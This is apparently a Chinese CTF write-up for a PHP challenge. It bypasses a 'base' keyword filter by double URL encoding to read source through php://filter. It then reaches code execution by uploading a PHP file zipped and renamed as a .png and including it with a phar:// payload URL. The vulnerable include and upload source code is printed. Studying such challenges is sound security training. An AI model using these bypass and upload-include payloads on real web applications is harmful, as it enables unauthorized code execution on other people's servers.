phar
一道php伪协议+phar反序列化题.
首先提示include.php并提示用file作为参数. 用伪协议读一下include.php的源码,为避免被解析只能使用convert.base64-encode来读取. 发现base被过滤,可以将其中一个字母转换成ASCII编码来绕过.
1
| http:/include.php?file=php://filter/convert.bas%256564-encode/resource=include
|
解码出来发现提示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <html>
</html> <?php @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/http|data|ftp|input|base/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<p> error! disable http/data/ftp/input/base</p>"; } else { include($file.'.php'); } }else{ echo "Tips: the parameter is file! :) "; } ?>
|
访问upload.php,发现php文件的上传被阻止. 读一下源码印证了这一点.
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <form action="" enctype="multipart/form-data" method="post" name="upload">file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form>
<?php if(!empty($_FILES["file"])) { echo $_FILE["file"]; $allowedExts = array("gif", "jpeg", "jpg", "png"); @$temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg") || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg") || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png")) && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)) { move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"]; } else { echo "upload failed!"; } } ?>
|
但是由于想要访问文件的后面都被添加了.php,导致不能访问其他后缀文件.
这时候phar就登场了.
phar是一个解压缩的伪协议,其格式为:
其中{a}是待解压的压缩文件的地址,{b}是你需要读取的压缩包内的文件名.
由于{a}中的内容并不需要以.zip为后缀而只是文件格式是压缩包就可以,这样就可以通过一种方法,即把一个php文件放到一个压缩包内,然后将该压缩包改名为*.png或*.jpg等后缀上传,用phar伪协议读取即可.

Payload:
1
| http:/include.php?file=phar://upload/3.png/3
|
Source:题库